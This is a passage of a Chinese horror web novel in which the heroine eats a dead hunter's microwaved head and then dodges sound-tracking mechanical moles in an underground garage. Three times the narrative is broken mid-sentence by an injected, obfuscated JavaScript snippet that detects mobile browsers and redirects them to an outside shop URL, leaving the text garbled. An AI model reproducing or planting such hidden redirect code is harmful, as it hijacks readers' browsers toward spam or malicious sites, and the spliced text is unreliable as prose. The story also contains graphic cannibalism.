梅子喻不知道要怎么回。 男鬼死了,灰烬死了,他们活了。 她心里甚至有一点埋怨——如果,纸神来的再早一点…… “不是说,要保护我们的吗?” 梅子喻轻声问道。 “你唤醒了我,你给了我名字,他什么都没做,甚至死前可能还在恨你。”纸神反问道:“我为什么要保护他?” 梅子喻无言以对。 她虽然拥有说服的能力,却一直在被纸神说服。 现在的纸神已经和一个真正的人无异了。它不会完全执行命令,只做自己想做的事。它认为自己是神,就真的做了一些神才能做到的事。 猎物也好,猎人也好……纸神已经超越了这里的所有玩家。 既然纸神成为了人,那么,就把它当成人来对待。 既然纸神在拥有了自主选择的权力后,还是执着地要保护她,那么,就把它当做朋友来对待。 “不论如何,谢谢你,纸神……”梅子喻擦掉泪水,诚挚地说道。 她打开照相机,给正在窒息死亡的男鬼拍了个照,又问:“你杀死了一个猎人,要不要合影纪念一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208947|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 纸神:“……” 纸神站在男鬼尸体身边,用新长出的手比了个耶。 梅子喻拍了个合影,“你要是也有手机就好了,我还能发你。” 她叹了口气,又给灰烬的头拍了个遗照,心里说不出的难受,转过身给男鬼的头狠狠来了一脚。 那头侧到一边,微微颤抖了下。 这抖动不像是被她踢的余震,倒像是……自发的。 梅子喻心里一紧。她忽然想起来,杀手死亡前,也垂死挣扎了一阵子,即使是动弹不得,血量也慢慢流失了好一阵子。 男鬼不会……还没死吧? 如果他也像自己一样,死之前得到了个什么成就buff,比如“被猎物的替身杀死”之类的…… 想到这里,梅子喻吓出一身冷汗,急忙和纸神说道:“他可能没死,我们得……” 眼前一道白光闪过。 男鬼手里的上吊绳一端缠在灰烬的脖子上,另一端勒住了他自己的脖子,用力一扯,就断了。 这下连纸神都惊呆了,一人一纸站在一边,谁也没反应过来—— 死人自己动手又杀死了自己一次。 这根上吊绳两边各吊着一个脑袋,被头甩出去的惯性带着转了一圈,绳子松开了圈套。 男鬼的头滴溜溜滚到一边,头发伴随着头一起翻滚着,粘了一地的血。 灰烬的头,则正正好好落在了男鬼断掉的脖子上。 相接的地方迅速长出血肉,新的头与旧的身子融为一体,惊恐的眼变成了愤怒的眼,转向了她。 “多亏了你,我才知道,原来……这也有成就。” 是灰烬的声音,灰烬的脸。 但是,长在了男鬼的身上。 这颗头窒息了,于是,他换了一颗头。 熟悉的脸现出了陌生的神情,梅子喻胃里一阵翻江倒海,如果……如果她也被男鬼杀死了,她的头,也会被装在这样的身体上吗? 那只头正在与身体磨合着,脖颈处不时传来一些诡异的声响。男鬼不断地歪着脖子,双手扶着脑袋回归正位,下一秒头又歪向肩膀,像是灰烬的头在与他的身体抗争。但头发正在缓缓生长,每长一寸,两者的抗争就微弱一分。 快跑…… 梅子喻在剧烈的心跳声中,俯身拾起了男鬼的头。 “快跑——” 她对着纸神喊道,同时,这句加速指令也让她脚下生风,猛冲进了厕所里。 她不知自己这次穿梭进了哪层的卫生间。她甚至没有走出隔间,只是神魂落魄地坐着发愣,腿上,男鬼断头上死不瞑目的眼盯着她,一如既往地令人胆寒。 纸神推开隔间的门,问道:“你拿他的头做什么?” 梅子喻也不知道。她当时只是觉得,既然死去的灰烬的头能再利用,那男鬼的头应该一样可以。 只是,她想不出来要怎么使用。 她没有男鬼那样再生的能力,也没什么道具和这相关…… 等等。 她……不是在最开始,抽到了一个微波炉吗? 微波炉的卡牌说明是:热热,还能吃。 梅子喻将男鬼的头捧起来,长发拖地,血淋了满身,她恍然不觉,只是沉浸在自己的想法里。 “我要,吃掉他。” 12. 男鬼十二、热热还能吃 纸神很平静地接受了这句反人类的话,说道:“人不可以吃人。” 梅子喻很惊讶它会这么说。明明前不久,它还主动杀掉了男鬼。 “为什么?” “有违人伦,破坏平衡,世界崩坏,不再和平。” “……”梅子喻沉默了会,问道:“你不会……还想要保护和平吧?” 那是最初的一句指令,也是导致一切混乱的起点。 纸神点了点头。 “这又是为什么?你都不听我的指令了,还管什么和不和平。” “因为我认可这个观点。”纸神语气淡然,像在陈述一句真理:“世界需要和平。我们作为神,要维持这个世界的稳定。” 对于纸神认为自己是神这一事,梅子喻已经不打算纠正了,顺着话茬说道:“那你会阻止我吃掉他的头吗?” “不会,因为他是和平的最大破坏者。我们一定会杀了他。”纸神一托手,摆了个请的姿势:“吃吧,我破例认为,你这次吃人是非常人性化的行为,对这个世界大有好处。就好像,我们杀人,也是正确的。” 梅子喻总觉得,它这般固执地持有某一观点,还总想站在“神”的视角宏观地评价人类社会的行为很危险。 很容易成为那种为了自己的理念开始乱杀无辜的反派boss。 不过,一张认为自己是神的卫生纸还不至于强大到那样的地步。 梅子喻一边在手机上调整卡槽,把微波炉填进道具卡槽里,一边随口问道:“纸神,如果有一天……保护和平跟保护我冲突了,你会站在我这边吗?” “不会。” 纸神斩钉截铁地回答。 它这般果断,倒是梅子喻听到后恍惚了一会,才继续说道:“……好吧。希望那一天不要到来。我可不想站在你的对立面。” 纸神点点头,一副十分理解的样子:“因为你的实力小于我们。” “不是啦。”梅子喻无奈道:“是因为,我觉得你是我的朋友。” 纸神说道:“人是不能和神谈感情的。” “……” 梅子喻自讨没趣,不再搭话,把微波炉的卡牌位置调好后,开始测试指令。 “加热。” 砰的一声,面前弹出一个微波炉来,正好压在男鬼的头上。 大约是加载了咒语节约卡的缘故,一下就试了出来。 梅子喻把头颅放了进去,又花了不少功夫把头发都塞进边边角角,最后看着男鬼那被台面挤得变形面部,咋了下舌:“他的头好大。” 微波炉在关上门之后自动运作起来,加热了整整十秒钟,弹出了停止音。 “叮!” 【解锁成就:肉食主义者】 【成就说明:使用微波炉加热一名玩家】 【成就buff:吸收微波炉加热物品的营养】 “……” 为什么会有这种奇怪的buff。 不过,能激发这种buff的她更奇怪一些。 梅子喻十分紧张,她希望微波炉能发挥点作用,不要打开后只是从头变成了熟了的头。 按下打开键,微波炉的门砰地弹开,一股焦香的烤肉味道传了出来。 幸好,画面没有很限制级。里面不再是一个头,而是一盘切好的小块烤肉,饰以头发丝卷成的花,还有两个压扁的眼睛状的不明物摆盘。 乍一看,只是一盘普普通通的烤肉而已。 梅子喻一想起这个肉的来源就有点想吐,她开始自我怀疑,自己到底是脑子怎么抽筋,才想要吃掉这个头的? “纸神,你有没有觉得,我们的操作都好离谱?在卫生间的马桶盖子上,用微波炉加热一个人头,然后吃掉……” “是你,不是我们。”纸神与她划分界限:“神是不会吃人的。神更不会在卫生间里进食。” 梅子喻越发不想吃掉了,但想了想那条激活的buff,又有些心动。 吸收营养……是指什么? 拥有男鬼的那些属性吗? 如果是这样,她吞也要把这盘肉吞进去。 “好过垃圾。”梅子喻给自己催眠——在吃不上饭的时候,她是真吃过垃圾的。 回想起饥饿的痛苦,这香气扑鼻的烤肉变得无比诱人。她闭上了眼,端着盘子三两口咽了下去,连装饰品一起。 毕竟,她不想错过任何营养。 说实话,口感还可以。进入这个游戏之后,就没再有过饿的感觉了,但现在却有一种莫名的饱腹满足感。梅子喻没觉得自己提升了什么属性,但就是感觉到,似乎有哪里改变了。 她睁开眼,问纸神:“我变了吗?” “你与我不同了。”纸神回答道。 纸神有着几乎与她一样的外形,不论是身形、容貌、装扮,甚至连头发的长度一样。 梅子喻跑出隔间照镜子。 她的头发似乎变长了。 当她的注意力放在头发上时,发尾就像有了生命,自发地翘了起来,她想象着那头发向下拉伸,发丝居然真的快速长长,没过几秒,就垂到了地面——和男鬼一样的头发比例。 她似乎拥有了男鬼控制头发的力量。 这就是吸收营养的意思吗? 梅子喻望向镜子里的自己,总觉得那张最熟悉的脸忽然变得无比陌生。 灰烬死了,她很难受,她流了泪,但她好像没有很悲伤。 她没有朋友,渴望友谊。她原本以为自己会因为朋友或者队友的死悲痛欲绝。 但她没有。 …… 儿童文学蹲在角落里,焦急地发了好几条消息询问另两人的状态,迟迟没有得到回复。 但这附近也没有男鬼的巡逻替身,似乎还在被梅子喻的卫生纸牵制着。如果这样,起码说明梅子喻还活着。 她从拐角探出头,正计划着出去看一看情况,却看到一缕垂地的黑色长发——只有男鬼才有的头发长度。 儿童文学心里一梗,下意识便掏出飞镖,却听那人说道:“是我。” 抬头看去,是面色苍白的梅子喻。 “你头发怎么……”儿童文学一句话没问完,见梅子喻脸色不好,忽然意识到什么:“灰烬呢?” 梅子喻垂着头,轻声说道:“他被无常杀死了。” 好长一段时间内,两个人都没说话。 “对不起。”梅子喻先开口打破了沉寂,将灰烬死亡的情况简单讲述了遍。 儿童文 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“意外得到了一个技能。”梅子喻糊弄过去,走到门前,“你如果害怕,可以离远一点,随时可以逃。” 她侧过头,朝儿童文学露出一个安抚的笑:“无常正在恢复,我们暂时并不危险。” 儿童文学心头一震。 无常,正在恢复?难道她重伤了那个恐怖的猎人吗? 她到底做了什么?…… 大概是吸取了男鬼营养的缘故,梅子喻感觉得到,这扇门背后有守门替身。 但不知为何,她好像没有多少恐惧。她的头发好像有自我意识一般,悠闲地转着弯,头发动得越剧烈,她就越有安全感。 就好像……她越向男鬼同化,也就越对守门替身胜券在握一样。 梅子喻扶住了门把手。 一只纸人倏地从门后蹿了出来,它的头发气势汹汹地朝她席卷而来,梅子喻却毫无躲闪的意思,只是站在那里,沉静地说道:“你为什么攻击我?” 不出她所料的,守门替身停下了动作。 一个没有思想的替身,绝对不会攻击自己的主人。 守门替身堵着门口,似乎在判断。它的身子微微颤抖,仿佛程序运转失败,卡机了一般。 梅子喻掰着手指,一条条地阐述理由:“我是你的主人,原因:一、我能操控头发;二、我可以制作纸人替身;三、无常的头,就在我身上。” 儿童文学震惊地看着这一切,心道:她居然在……和一个替身讲道理? 守门替身朝她低下了不存在的头。 它侧过身,后退了几步,向走廊的另一端撤退,很快不见踪影。 梅子喻耸耸肩,发尾轻巧地翘了起来,——说服一只没有思想的替身,轻而易举。 这可比纸神好对付多了。 她推开玻璃门,向前一步。 【逃生成功,升级至level25】 【猎人标识,时间结束。剩余佩戴次数:0/2】 距离她戴上标识,正好过去了一个小时。 游戏时间,剩余64小时。 13. 鼹鼠一、死因,超速 升到二十五级后,梅子喻还剩五次抽卡次数,卡槽也都又解锁了一格。 凑不齐十连了,如果再抽卡,只能单抽出奇迹。 猎人标识失效后,梅子喻没法再通过替身看到男鬼的情况,纸神也没有再现身过。 她有些遗憾,但又安慰自己:也许下次佩戴猎人标识时,纸神又能现身呢。 两人跑过这段漫长的走廊,从楼梯向下走去。下了一层,面前出现一扇通往B1车库的门,继续下一层,则是通往B2的。 梅子喻问道:“前面这片区域也是猎人的领地吗?” “可能是某个猎人的领地,也可能是公共领地。如果一个区域的猎人被杀死了,那么他的领地就会变成公共领地。” 儿童文学解释道。 大概她在商场里待了太久,现在来到全新的地点十分紧张,走路时绷紧了身子,四处张望,又说:“你想去B1还是B2?” “应该没什么区别吧,都是地下车库。或者我去B1你去B2,我们微信里说下各个区域的情况……” “你想分头行动?” 儿童文学眼里满是震惊。 梅子喻这才反应过来,她还有猎人标识和替身卡可以用,能查看周围的情况,也能用替身保护自己,但儿童文学什么也没有。 绝大部分情况下,猎物都是团体行动的。 梅子喻觉得自己有点飘了,前不久她还想主动与其他猎物组队,现在她觉得自己一个人效率更高。 她还记得游戏刚开始时自己十分恐惧,但现在她冷静的可怕。 或许,是受男鬼营养的影响,也变得像他一样自傲自大、神经兮兮、且目中无人? “不,我们还是一起走吧,毕竟是未知的区域。”梅子喻改口道。她总觉得如果自己单独行动,可能会做出更多脱轨的行为。 如果当时在她身边的是儿童文学而不是纸神,她一定不会突发奇想去吃掉男鬼的头——虽然由此收获了一个buff,但到目前为止她都还没有判断清楚这个行为到底是好是坏。 她隐约意识到,自己需要一个真正人类的监视。 最终,两人就近从B2的入口进入了地下车库。来到新的区域,两人都比较谨慎,步速慢了下来。 地下室昏暗而潮湿,无数空荡荡的车位并排排列,偶尔有一辆车随意歪斜地停在某处。走了不知多久,看到的也还是同样的景色,让人有种迷失的感觉。 梅子喻问:“你之前来过这里吗?” “没有,现实中我住的地方离这里很远,游戏里也是第一次来这边。你呢?” “我住这附近,但我也没来过这。不过,这个停车场有这么大吗?” 梅子喻说着,看了下倒计时:63h25min。 “我们走了差不多半个小时。” “有这么久吗?”儿童文学恍惚了一瞬:“这里看起来都差不多,让人觉得一直在原地打转,也就判断不出来自己走了多远。” “好像鬼打墙。”梅子喻说道:“不过,目前还没有发现什么危险,这不是挺好的吗?如果我们这么挺过六十个小时,就成功逃生了。” 儿童文学沉默着,不置可否。 不幸的是,又走了一小会,俩人在斜着停在路中间的车旁发现了几滴血迹。 梅子喻试着分析:“有血,有猎物来过这里,但是没有尸体,所以只是猎物和猎物在这里产生过纷争?如果是猎人和猎人打架,应该不会这么点血量吧。” 像杀手和男鬼惊天动地的互殴,打得满地都是血。 儿童文学蹲下去观察。墙上没有血,地上也只有离车很近的地方有这么两滴。车窗完全摇了下来,且车窗边缘也有一点血迹。 “擦伤。”她皱着眉说道:“感觉像是从车窗里逃出来的时候擦到了。” “从车窗逃出去?”梅子喻十分疑惑:“那就是说车里有东西?猎人在车里?……” 两人都不敢轻易碰这辆车,从车窗外简单向里打量了一番。 梅子喻用手电筒照来照去,最终锁定在驾驶位上:“里面有东西,好像是……一撮土?” 谁也想不明白,这地方哪来的土。 “有血迹就说明不简单,我们再走走看。” 两人又走了一阵子,这次他们走的更加谨慎,步速放的更慢,都贴着墙走,拐弯时先看看前方有无异常,再前进。 她们陆续遇到了好几辆随意停在中间的车,有的车门开着;有的车窗摇上去,看起来确实像是猎物仓皇之间弃车而去,这样的情况少有血迹;也有些车的车窗破掉了,这样的车内都有血迹。 最大的共同点是,车里都有土。 注意到土之后,两人发现这车库里很多地方都有土,只不过昏暗的灯光下不太好发现而已。有的在拐角,有的就在路中央,大小规格差不多,像是一撮撮小坟地一样。 土堆的数量过于多了,而且分布地点没什么规律。 事情变得越来越奇怪,但又毫无头绪。 走了好一会,梅子喻看了下倒计时,不知不觉间,又过去了十几分钟。她忽然意识到,自己察觉不到时间流逝的另一个重要原因:她没有困,也没有饿。 “你们在游戏里活了这么长时间,吃的喝的都是怎么解决的?” 儿童文学回答道:“不需要解决。在这个游戏里,你不会渴不会饿不会困,也不会想上厕所。唯一要做的,就是逃。” “……听起来好绝望。” “不断有人死亡才是最绝望的。”儿童文学叹气道:“你应该已经感受到了。” 她说的是灰烬的死。 但梅子喻现在好像没有太绝望,走了一段时间,她甚至都忘记了灰烬的死亡。 这种冷漠让她十分不安。她掏出手机看了下给灰烬的尸体拍的照片,重温了下那股难受劲,硬从眼里挤出两滴泪,心里舒服多了。 见儿童文学疑惑地瞥向她,她急忙说道:“我当时给灰烬拍了照,你要看吗?” “……他死的时候?” 梅子喻从她眼中看出了一丝难以置信,又开始自我怀疑,给队友拍遗照是什么没有人性的事吗? 她只是想以后想起灰烬的时候,还能看着照片怀念一下——反过来说,如果不小心忘记了,还能通过照片回想起来。 她给男鬼拍照,给男鬼和纸神拍照,也都只是觉得这样的事情很少见,想要留念而已。 “我也拍了无常的临终照片……虽然他后来没死成。” 这下儿童文学有反应了:“发给我。” 儿童文学对着无常窒息而死的惨状看了又看,一直板着的脸上居然露出了一个笑:“这是你干的吗?你差点把他杀死了?怎么不和我说。快跟我讲讲。” 她是真的恨无常。 看到队友也这样反人类,梅子喻心里轻松了许多,把无常死亡的场景给儿童文学仔细地讲了一遍。 “好,好。”儿童文学连连点头:“他死的越痛苦越好。死一次不够,多死几次才好。” 虽然梅子喻对杀男鬼本就没什么心理负担,但对于吃掉男鬼的头一事还是十分在意,听到她这么说,心里的担子放下了大半,打开手机反复欣赏自己拍的这几张照片,又有了些得意和报复的快感。 当时男鬼用索命绳勒她的脖子,把血量扣到一,现在不也还是被她的纸神堵住呼吸道,窒息到不得不换头求生。 她的头发轻巧地翘了起来,自在地打着转,好像和她一样喜悦一般。 梅子喻又欣赏了一会,十分骄傲,将男鬼的临终照发了个朋友圈,配文:死亡的感觉怎么样? 反正也没人看得到,就当作纪念—— 【解锁成就:公诸于众】 【成就说明:杀死一名玩家并发朋友圈】 【成就buff:将玩家死亡现场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208949|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发到朋友圈,查看死亡原因】 “……” 这个游戏的成就越来越离谱了。 梅子喻将说明仔细读了一遍,眼前一亮。 倒正好有用。 这些成就解释起来太麻烦,她索性说道:“我的拍照道具刚才可以用了,能查看死因。” 这游戏里很多道具有冷却时间,儿童文学没有质疑,“太好了,那我们去之前有血的地方拍一下。” 上一个路过的有血的地方,是一个车窗破碎的车内,血迹像是被玻璃扎到的,星星点点几滴,量并不多。 梅子喻对着有血点子的驾驶位拍了张照,发朋友圈。 发出去时,朋友圈下多了一条回复,发送者是梅子喻自己。 梅子:死因,超速 “死因,超速。”梅子喻念道。“……什么意思?有个玩家开车超速了,所以死了?” “再拍几张看看。” 她们前往再上一个血迹点。 “死因,跑步超过5分钟。这里不能跑步吗?” 继续往前,这次是那个疑似擦伤的车。 “死因,闯红灯。……这里有红灯?”梅子喻念完之后自己都无语了,“在地下车库也要遵守交通规则?” “我基本清楚了。”儿童文学长长地叹了口气:“是猎人的替身规则。” “什么意思?” “就像无常的替身有抓人的权限和规则那样,每个猎人的替身都根据卡牌特性和猎人指令,有一套自己的规则——”儿童文学说道:“我们现在还不知道这个区域猎人的替身是什么,它们可能隐藏在我们看不见的地方,一旦我们触发了它们的抓人规则,它们就会出来抓我们。你看到的是死因,那么这个替身应该很厉害,抓到人就能杀死。” “这么说来,只要我们多拍几张照,把所有的规则都找出来,就能避免被抓到?” “但我们现在看到流血的地方不太多,到现在也就四五个地方,规则却没有重样……”儿童文学咋舌道:“是个规则复杂的卡,啧,难搞。” “我们要尽可能多地找到其他猎物死亡的现场。”梅子喻若有所思:“规则这么多,流血的地方却这么少,显然不对,应该有很多猎物死亡才对……” 说着说着,她忽然想到了什么:“不会吧。” 儿童文学和她想到了同样的事情。 两人对视一眼,心觉不妙,齐齐地转向拐角的土堆—— 拍照,发朋友圈。 出现了一条回复。 梅子:死因,在原地停留超过10分钟 “……果然。” 每个有土的地方,都是玩家的死亡现场。 如果这样,在这里死去的玩家就太多了。不过,对他们来说,多也是件好事——这意味着他们有足够多的样本总结规则。 “所以,我们不能在一个地方停留超过十分钟,也不能跑步超过五分钟。” 儿童文学点头道:“这里规则太多了,我们保持之前的状态,缓步前进。” 至少之前她们行走的方式还没有触碰到一些规则。 两人维持之前的速度,走到下一个土堆前,继续拍照。 梅子:死因,步行超过60分钟 梅子喻脸色一僵:“我们来到这里多久了?” 两人都匆匆打开手机查看,倒计时:63h01min。 儿童文学面色凝重:“差不多一个小时了。” 哒。 话音刚落,不知从哪传来一下闷闷的脚步声。与此同时,梅子喻猛地扯住儿童文学,“k——” 快跑—— 随着她嘴里发出第一个音节,脚步比音速更快地超前一个大跨步,两人几乎是飞一般地蹿了出去。 她从未想到过,瞬时加速的快跑技能卡和节约咒语的节约卡,会以这种形式组合在一起生效,助她争分夺秒地跑了起来。 14. 鼹鼠二、目标丢失 梅子喻只跑了一步。 快跑技能加超级跑鞋再加她升级加上去的速度点数,现在她的跑速可不是一般的快。她生怕跑得远了,又激发了什么禁止跑太远的规则,于是一步就停了下来,儿童文学被她将将拉住,差点摔一个倒栽葱。 步行了60分钟,但是在快要超过的时候,跑了起来。 不知会不会被判定为触犯规则? 那脚步声只响了一下,在她们跑起来后,便销声匿迹。两人站在原地,警惕地等了一会,也没等来下一个脚步声。 “应该是安全了。”梅子喻松了口气。 儿童文学整理了下自己被扯乱的衣袖,说道:“你刚才注意到那个脚步声从哪传来的吗?” “没有。” 那么短促的一声,又是那么紧急的情况,谁注意得到声源方向。 儿童文学蹲在地上,敲了下地板。 哒。 “像不像。” 梅子喻一脸茫然——她实在想不起来刚刚那脚步声是什么样了,只记得闷闷的,很笃实。 见她这样,儿童文学也不难为她了,直接说出自己的结论:“那个声音,好像是从我们下方传来的。” “正下方?” “对。” 梅子喻略一思索,说道:“所以,这个猎人的替身在地下,发现我们违规之后,就会钻到地上来抓人?” 儿童文学点头道:“而且,你说你拍到的是死亡现场,那些土堆,很可能就是玩家的尸体,或者埋葬着玩家尸体。你想,刚才那个替身在我们正下方,如果我们没有及时躲开,它很可能把我们抓个正着。” 梅子喻心里一惊,她一直在关注周围的环境,但从来没有关心过脚下,刚才的跑步也只是为了避免触犯规则。如果那只替身真的从下面抓人,她十有八九没有反应过来就被杀死了。 “这么说来……如果我们发现自己触犯了规则,或者听到了脚步声,先想办法离开原地,不要被那东西碰到。” 碰到了,可能就变成了一撮土。 两人想到这,都不由自主地看了下时间,换了个地方,继续站着。 梅子喻盯着地面看了一会,忽然抬起头四周打量一圈,又说:“或者,我们去一些高的地方,比如车顶。它们从地底钻出来的时候,就没法直接碰到我们了。” 儿童文学倒没想到这,闻言一愣,“我们到车顶这个行为会不会触发某个规则?” “要再多收集一些死亡原因才知道……不过目前来说,我们还没有在车顶看到土堆吧,也就说明没有玩家死在车顶上?还是说……” 梅子喻大脑飞速转动着,她总觉得自己快要想到什么了。土堆、从地下钻出来的替身。距离正确答案只差一点…… “我们再去收集一些死因吧。” 两人车里车外又拍了几张照。拍到第十张,死因逐渐有了重复,这替身的规则大概有十几条。 闯红灯,超速,跑步,停留,步行…… 玩家的死因五花八门,规则也十分繁复,但看来看去,似乎也有某个共同点。 两人看着手机里整理出来的死因大全,陷入沉思。 梅子喻问道:“你觉得,给这份规则一个总结,应该是什么?” “……交通规则?”儿童文学犹豫道:“和车,以及人的行走有关。但好像又……” “地面规则。”梅子喻忽然说道。“这些违规,都可以在地下感知到。” 儿童文学恍然大悟:“你是说——替身从地下钻出,是因为它们一直在地下,而它们来判断我们是否犯规,也只能通过我们或者车辆和地面的接触。” “来试试好了。” 梅子喻拉着儿童文学爬上一辆车,手机卡准时间,十分钟倒计时。 之前有一条死因是:原地停留十分钟。 在车顶停留,当然也算原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208950|151081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地停留。但是,替身能感知到吗? 两人定了个秒表,紧张地盯着时间。儿童文学重复了一遍策略:“一旦到了十分钟的同时听到了脚步声,就立刻移动,避免违规。” 五分钟,三分钟……时间一点点地走着。两人都沉默下来后,地下车库便安静得只听得见彼此的呼吸声,身心都绷紧到极致,心里反复重复着准则:如果倒计时归零时听到脚步声,立即移动。 ……三、二、一…… ……无事发生。 没有闷闷的脚步声,也没有什么异常。 所以,在车上停留十分钟是不会被替身感知到的。 这样的话,理论上来说,只要他们一直待在车顶,就可以苟到游戏结束。 梅子喻关掉手机屏幕,刚要开口,却被儿童文学猛地捂住了嘴。 哒哒哒—— 与此同时,巨大声音从正下方传来,车子一阵剧烈的晃动,很快又恢复平静。 这次她们听的很清楚,那并不是什么脚步声,而是挖土的声音。 由于过了时间,梅子喻放松了警惕,没有跑成。但现在看来,或许没跑动,才是正确的。 她们明显地感知到,有什么东西从地下里钻出来,坐进了她们身下的车里。 ——是替身。 机械感的声音从车里响起。 “检测到位置丢失。” “到达最后定位位置。” “目标丢失。” 梅子喻瞳孔紧缩,与儿童文学对视一眼,从对方眼中看到了一样的惊恐—— 如果说替身抓人靠的是地面规则,那最后定位的位置,应该来到她们上车前最后落脚的地方。 但现在,替身来到了车里,她们的正下方。 可却又没有继续向上,而是认为目标丢失。 这说明……它定位,靠的是声音。 这个替身的权限,是“听觉”。 15. 鼹鼠三、盲鼠飙车 好消息是,替身现在还没发现她们。 坏消息是,她们的位置缺失被检测到,一旦被抓到,大概率会被判定为违规。 也就是说,当她们和替身碰面的时刻,很可能就是死期。 在不知道替身是什么样子、什么强度的时候,两人都紧紧闭嘴,不发出一点声音。 ——替身到目前为止都没有发现他们,但却来到正下方,说明它可以听得到她们的声音,但并不能理解对话的含义。 这不是一个有思想的替身。 想到这里,梅子喻稍微放松了一些:只要不是纸神那样逆天的替身都还好,大不了再佩戴一次猎人标识,叫她的替身也出来,拼个鱼死网破。 两人对视一眼,梅子喻掏出手机,打字发送。 梅子:你看到它的长相了吗? 旧的诗:没有 旧的诗:它上来时,声音像在挖土,从地面一直挖到我们车里 梅子:你的意思是,土堆是它挖出来的,而不是玩家的尸体? 梅子:但这样的话,为什么土堆又都是死亡现场呢? 旧的诗:最大可能是,它挖土上来,碰到玩家,玩家就死,尸体被它销毁 旧的诗:保持沉默,不要让它发现我们 梅子:好 车里的替身似乎在做什么动作,传来叮叮咣咣的响声。两人立即屏气凝神,提防地听下面的动静。 它好像是在寻找什么东西,但没有方向,没有计划,只是乱翻一通。 没有视觉。梅子喻心里下了个结论。 她小心翼翼地从蹲着变成趴着,身子尽可能贴合车面,脑袋从旁边探出来,向下看去。 调整到合适的角度,可以从后视镜里看到驾驶位的场景。乍一看,那里空荡荡的,并没有人。但再调整下视角,勉强可以看到座位上有一个很矮的东西,头顶湛湛和方向盘平齐。 矮胖的圆滚滚的身子,通体漆黑,一双瘆人的红彤彤的眼。两只机械臂伸长,胡乱摸了一番,搞得车里乱七八糟,最终握住了方向盘。 是一个……机械鼹鼠。 它握方向盘做什么? 梅子喻忽然意识到了什么,急忙向儿童文学比划,做出了一个趴下的动作。 儿童文学也学着她的样子趴下,握住车窗上沿。 “滴滴——” 机械鼹鼠按了几下喇叭,但根据它那随意挥舞手臂的样子,应该是误按。 “寻找丢失目标。”机械鼹鼠说道。 说罢,它的机械尾巴忽然伸长,猛地踩住了油门—— 这辆小破车以它最大的速度,风驰电掣地冲了出去。 梅子喻从未想到自己此生还有机会上演速度与激情。车开出去不过一秒,她便感觉到一股强力的巨风迎面吹来,像掀翻一只蚂蚁一般轻松地将她紧扣在车顶的手指尽数掰开。她整个人如一只离线的风筝一样飘起来—— 幸好她当机立断小声骂了句草。 墙头草长在车顶,顺着风势向后倒去。 儿童文学比她反应更快一些,在机械鼹鼠刚刚踩下踩油门时,她变成了一只钩子,被冲势打得掉下车顶,又挂在后视镜上,一长串变身的话语被风吞了进去,得以掩藏她们的存在。 机械鼹鼠一脚油门踩到底,车疯了一般射了出去,咚得一声猛撞到前面的墙上。 “滴——” 车喇叭长长地响了一声。 那一瞬间,即使梅子喻是一棵草的形态,也觉得心脏被一股极大的冲势压得快要跳出来。幸好她可以向后倒,缓解掉一些冲击,饶是如此,血条也掉了一半。 地下室没有水来补血,如果这鼹鼠继续发疯,情况可能不太妙。 车内的鼹鼠还要再踩油门,它又胡乱地按了几下喇叭,忽然突兀地说道:“超速,超速。” 自己说自己超速? 哒哒哒…… 又是一阵迅速的挖土声音,残破的小车再次摇晃起来,就如同机械鼹鼠第一次钻进他们车里来时那样。 难道,又来了一只鼹鼠? 这句超速,也是新的鼹鼠说的?…… 梅子喻在车顶,不知道下面什么情况,各式各样的猜测挤满了大脑,思绪乱得头脑发涨。 “超速——” 车停止了晃动。 又是一阵叮叮咣咣的声音,好像在车里搞什么装修。车身微微颤动,大概是因为内部发生了冲撞。 “违规者已处理。” 窸窸窣窣的,从土中钻出去的声响。 之后,便是长久的寂静。 一钩一草都没有轻举妄动,寂静久到两人都快以为对方是不是死了,梅子喻才想到她还有一张手机卡,可以在变身的时候操作手机。 “手机。” 她极轻地喊了一声,害怕再惊扰哪只疯癫的鼹鼠。 打开微信,发现儿童文学给她发了一条视频。 梅子喻静音播放。 视频是从撞车后开始录的。驾驶座的那只鼹鼠没系安全带,撞车后一头撞到了车喇叭上,两只手开始乱挥,尾巴一下下地顶着油门。下一秒,它身下鼓出了一个土包,另一只机械鼹鼠从中冒了出来,张嘴说了句话,手臂卡住前一只鼹鼠的手臂。两只鼹鼠用机械臂互相撞击了几下,最终一只将另一只拉入坑里。 “……” 梅子喻:傻眼。 虽然已经猜的八九不离十,但看到这一幕还是觉得十分离谱。 替身处理了违规的替身,这就是规则定太复杂的后果。 新来的鼹鼠说的是“已处理”,但是行为却仅仅是将之前的鼹鼠带走。那么它在处理其他玩家的时候,所做出的动作也是将玩家从土堆里带走吗? 可是,如果仅仅是带走,又为什么这些土堆都是死亡现场。难道真的……碰到的时候,就会死? 